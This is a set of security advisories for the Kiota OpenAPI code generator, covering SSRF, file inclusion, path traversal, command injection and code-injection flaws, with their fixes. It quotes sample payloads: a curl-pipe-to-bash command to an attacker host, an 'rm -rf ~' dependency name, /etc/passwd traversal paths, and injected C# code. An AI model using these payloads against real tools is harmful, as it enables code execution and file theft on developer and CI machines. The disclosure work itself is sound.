Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.34.0, an attacker who controls or tampers with the OpenAPI description consumed by Kiota can supply a file reference that resolves outside the manifest package (e.g. ../../../../etc/passwd, an absolute path, or a file:// / http(s):// URI). When the generated manifest is deployed and consumed by an AI host, this can lead to inclusion or disclosure of files outside the intended package boundary. This vulnerability is fixed in 1.29.1 and 1.34.0.

Summary

Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.

Details

- $ref: http://attacker/internal-evil.json#/... → build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed property REMOTEKIOTAPROP in the generated client. - $ref: /abs/path.json#/... or ../../secret.json#/... → Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmed Leaked schema in the generated client. Resolution is transitive across nesting levels.

Kiota escapes its output sinks (comments/strings/identifiers), so attacker-controlled remote/local content cannot break out into code — no RCE. The chain stops at SSRF + RFI + LFI.

Impact

Build-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and inclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened generator (it resists the code-injection class).

The relevant threat is not "change the generated output" (an attacker who fully controls the description can already do that) but the side effects on the build host: outbound requests from inside the CI network (cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents are then inlined into the generated — and typically committed/published — client. It also bypasses controls that review the description document but not externally-referenced content.

Patches

Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now default-deny: a new AllowedExternalOriginsStreamLoader refuses to load any external $ref — remote http(s) URLs and local file paths alike — unless its origin/path is explicitly allow-listed. A new --allowed-external-origins parameter (added to the commands that load OpenAPI descriptions) opts specific origins back in, accepting , full URIs, URI patterns, full paths, relative paths, or path patterns (wildcards supported). With no allow-list entries, external references are not loaded at all.

Remediation

Upgrade to Kiota 1.32.5 or later. External references now require explicit opt-in via --allowed-external-origins; add only trusted origins/paths.

Summary

Microsoft Kiota emitted the x-ms-kiota-info extension's clientClassName or clientNamespaceName value raw, with no identifier or path sanitization, as both the generated client's class/namespace name and part of the generated output path. When kiota generate is run without -c/--class-name — the zero-config workflow that x-ms-kiota-info is explicitly designed for (the API provider supplies the names in the description so consumers don't have to) — an attacker who controls or tampers with the OpenAPI description could therefore:

- (CWE-22) write the generated source file to a path outside the -o output directory — e.g. clientClassName: "/var/www/html/shell"; and - (CWE-94) inject arbitrary text into the generated class/namespace declaration, corrupting the generated client.

Confirmed on Kiota 1.32.4 (the self-contained linux-x64 release binary), i.e. after the earlier writer-sink hardening — that fix escaped property/enum/default/serialization sinks but never sanitized the provider-supplied clientClassName / clientNamespaceName.

Details

clientClassName reached two unsanitized sinks (observed in the generated C#; the same raw emission occurred for Java, Go, TypeScript, Python, and PHP):

output FILENAME (CWE-22): clientClassName flows into the file path clientClassName: "/abs/path/PWNED" -> /abs/path/PWNED.cs (written outside -o)

class declaration (CWE-94): clientClassName flows verbatim into the type declaration clientClassName: 'Pwn { } public class INJECTED { } public partial class RealClient' -> public partial class Pwn { } public class INJECTED { } public partial class RealClient : ... { }

clientNamespaceName reached the analogous namespace/path sinks.

Impact

A developer or CI host generating a client from an attacker-controlled or compromised OpenAPI description (without -c) could create/overwrite a generated source file at an attacker-influenced path and emit attacker-controlled text into the generated client.

This does not reach clean remote code execution: because clientClassName is reused verbatim at multiple sites (the class name and the constructor name), injected code cannot be made to compile — it breaks the build. So the code-injection vector is a generation/build-corruption (integrity/DoS), and the high-severity primitive is the file write. CWE-22 / CWE-94.

Patches

Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7884). clientClassName and clientNamespaceName sourced from x-ms-kiota-info are now sanitized before use: GenerationConfiguration.SanitizeClientClassName strips any character outside [A-Za-z0-9] and any invalid leading character (falling back to ApiClient), and SanitizeClientNamespaceName restricts to [A-Za-z0-9.-], collapses consecutive dots, strips invalid leading characters (falling back to ApiSdk). This removes path separators, drive/colon, .., quotes, and braces, so the values can no longer influence the output path or inject into the declaration.

Remediation

Upgrade to Kiota 1.32.5 or later and regenerate affected clients.

Summary

kiota plugin add / kiota plugin generate (with -t APIPlugin) emits an attacker-controlled statictemplate.file path from the AI-plugin extensions (x-ai-adaptive-card, x-ai-capabilities) verbatim, with no path validation, into the generated Microsoft 365 Copilot / Teams plugin manifest (<name>-apiplugin.json). An attacker-controlled or compromised OpenAPI description can therefore embed a ../ / absolute path into the manifest's responsesemantics.statictemplate.file, yielding a path traversal (CWE-22) / out-of-package file inclusion (CWE-829) that is resolved by the AI host when the generated plugin is deployed.

Confirmed on Kiota 1.32.4 (KIOTACONFIGPREVIEW=true, the self-contained linux-x64 release binary).

Details

Both extension paths write the statictemplate.file reference straight into the manifest without sanitization — PluginsGenerationService.GetResponseSemanticsFromAdaptiveCardExtension mints statictemplate = {"file": <File>}, and the x-ai-capabilities path copies the statictemplate object through:

spec -> generated manifest (functions[].capabilities.responsesemantics) x-ai-adaptive-card: {title: T, datapath: $.x, file: "../../../../../../etc/passwd"} -> statictemplate.file = "../../../../../../etc/passwd" (CWE-22) x-ai-capabilities.responsesemantics.statictemplate: {file: "../../../../../../etc/passwd"} -> statictemplate.file = "../../../../../../etc/passwd" (CWE-22)

(x-ai-adaptive-card.file only reaches the manifest when title is set, so GetResponseSemanticsFromAdaptiveCardExtension fires; otherwise kiota writes its own template card instead.)

Impact

This is not local code execution on the build host. The injected path is written into the generated plugin manifest and realized downstream, when the plugin is packaged and sideloaded / deployed to an AI host (Microsoft 365 Copilot / Teams) that resolves statictemplate.file relative to the plugin package (out-of-package file reference via ../). Kiota is the propagation point: it fails to reject ../ and absolute paths in this provider-supplied field before writing it into the manifest.

Patches

Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7892). statictemplate.file from both x-ai-adaptive-card and x-ai-capabilities is validated as a relative path confined to the plugin output package: absolute URIs, rooted/UNC paths, Windows drive paths, and .. traversal segments are rejected, and unsafe references are dropped with a warning. Regression tests cover .., absolute paths, and URI values.

Remediation

Upgrade to Kiota 1.32.5 or later and regenerate affected plugins.

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

spec x-ms-kiota-info: languagesInformation: CSharp: dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash" dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.32.5 or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Summary

Microsoft Kiota honors a poisoned .kiota/workspace.json — the workspace configuration that Kiota's documented team workflow has developers commit to their repository — unvalidated on kiota client generate / kiota plugin generate. A repository (or pull request) containing a malicious per-client / per-plugin outputPath causes Kiota, when a developer or CI runs the documented regenerate command, to (CWE-22) write the entire generated client to an arbitrary path outside the workspace — the outputPath was not confined to the workspace root and absolute paths were accepted.

Confirmed on Kiota 1.32.4 (KIOTACONFIGPREVIEW=true, the self-contained linux-x64 release binary).

Details

jsonc // .kiota/workspace.json (committed to the repo) "clients": { "MyClient": { "outputPath": "/abs/path/outside/repo/pwnedclient" // -> generated client written here (CWE-22) }}

Running kiota client generate --client-name MyClient in the repo writes MyClient.cs, P/PRequestBuilder.cs, … to the attacker-chosen outputPath (verified outside the working tree).

Note on descriptionLocation

The per-consumer descriptionLocation is intentionally fetched at generation time — this is how Kiota knows where to pull an updated description from when refreshing a client, the same way any other value in a committed lock/config file is honored. It is not treated as a vulnerability and is unchanged; only outputPath is now confined.

Impact

A malicious or compromised repository — or a malicious PR that edits .kiota/workspace.json — leads to arbitrary file write on the developer's or CI host's filesystem (overwrite source/build files, drop files in auto-loaded locations) whenever a teammate clones/pulls and runs the documented kiota client generate / kiota plugin generate to refresh the client. CWE-22.

This is a different trust boundary from the OpenAPI-description-based findings: the malicious input is the Kiota config, not the spec.

Patches

Fixed in 1.32.5 (https://github.com/microsoft/kiota/pull/7885). On loading a workspace configuration, each client/plugin outputPath is validated to be a relative subdirectory of the workspace: null/empty, rooted paths (POSIX /, UNC \\ / //, Windows drive X:\), and any .. traversal segment are rejected, and the resolved full path must stay under the workspace root. Generation aborts with an error if any consumer's outputPath escapes the workspace.

Remediation

Upgrade to Kiota 1.32.5 or later. Review any committed workspace configs for outputPath values that point outside the workspace.

Code Generation Literal Injection in Kiota Python Generator Leads to Arbitrary Code Execution at Import Time.

The Kiota Python code generator is vulnerable to a code generation literal injection issue when processing malicious or untrusted OpenAPI specifications. Specifically, attacker-controlled enum value descriptions from x-ms-enum.values[].description can flow into generated Python files without newline sanitization, allowing injected content to escape a comment context and execute at module scope when the generated module is imported.

This issue requires user interaction in the form of generating a client from a malicious specification and importing the generated code, which is a common development and CI workflow.

Impact

A malicious OpenAPI specification can cause arbitrary Python code to be emitted into generated model files. The payload executes when the affected module is imported.

Potential impact includes

Credential theft from developer or CI environments Exfiltration of environment variables and secrets Source code disclosure Persistence via regenerated backdoored client output Who is impacted Developers generating Python SDKs from external or untrusted OpenAPI specs Teams with CI/CD automation that regenerates clients from remote specification URLs Any environment importing generated Python modules before manual review Vulnerability details Two gaps combine to enable exploitation:

Enum description cleanup gap

In KiotaBuilder.SetEnumOptions, enum option descriptions are assigned to Documentation.DescriptionTemplate without CleanupDescription on this path, allowing control characters such as newlines to propagate.

Python description sanitization gap

PythonConventionService.RemoveInvalidDescriptionCharacters escapes backslashes and triple quotes but did not remove carriage return/newline characters, unlike some other language convention services.

Exploit path

Malicious newline in x-ms-enum description is emitted through enum writing path. Generated inline comment output is split by newline. Subsequent attacker-controlled line lands at module scope in generated .py file. Importing the module executes the injected code.

Attack vectors

OpenAPI specifications hosted at attacker-controlled URLs Supply-chain scenarios where third-party specs are consumed automatically CI pipelines that generate and then import or test generated Python clients

Patches

https://github.com/microsoft/kiota/pull/7735

Workarounds

If you cannot upgrade immediately:

Only generate from trusted, internally controlled OpenAPI specification sources. Disable or gate automatic generation from remote specs in CI/CD. Add validation/sanitization for x-ms-enum descriptions before generation. Review generated Python files for suspicious top-level statements near enum/model declarations. Run generation and validation in isolated environments without access to production secrets.

Remediation

Upgrade to Kiota 1.32.0 or later.

Regenerate existing Python clients to replace previously generated vulnerable output.

Recommended validation after upgrade

Regenerate from the same spec used in proof-of-concept testing Confirm malicious multi-line enum descriptions no longer produce executable top-level output

Summary

Kiota versions prior to 1.32.3 are affected by a code-generation injection vulnerability in the C# XML documentation-comment sink (the description, externalDocs label, and externalDocs link fields emitted as /// … comments).

When text from an OpenAPI description is written into single-line XML doc comments without stripping newline and Unicode line-terminator characters, an attacker can break out of the /// comment line and inject additional code into generated C# clients.

Impact and Preconditions

This issue is only practically exploitable when:

1. the OpenAPI description used for generation is from an untrusted source, or 2. a normally trusted OpenAPI description has been compromised/tampered with.

The injected code is compiled (and may execute) when the developer or CI builds the generated client. If you only generate from trusted, integrity-protected API descriptions, risk is significantly reduced.

Affected Versions

- Affected: all versions < 1.32.3 - Fixed: 1.32.3 and later

Illustrative Exploit Example

Example OpenAPI fragment (malicious description)

yaml openapi: 3.0.1 info: title: Exploit Demo version: 1.0.0 description: |- Legitimate summary text public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The newline inside description (also exploitable via \r, U+0085, U+2028, U+2029) terminates the doc-comment line.

Example generated C# snippet before fix (illustrative)

csharp /// Legitimate summary text public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The injected payload escapes the intended /// comment context and introduces attacker-controlled statements in generated code.

Note: this exploit is not limited to the description field, but may also impact the externalDocs label and link text and other doc-comment-derived locations.

Remediation

1. Upgrade Kiota to 1.32.3 or later. 2. Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output. The fix (PR microsoft/kiota#7831) strips \r, \n, \u0085, \u2028, \u2029 (and normalizes tabs) from description, label, and link text before emitting doc comments.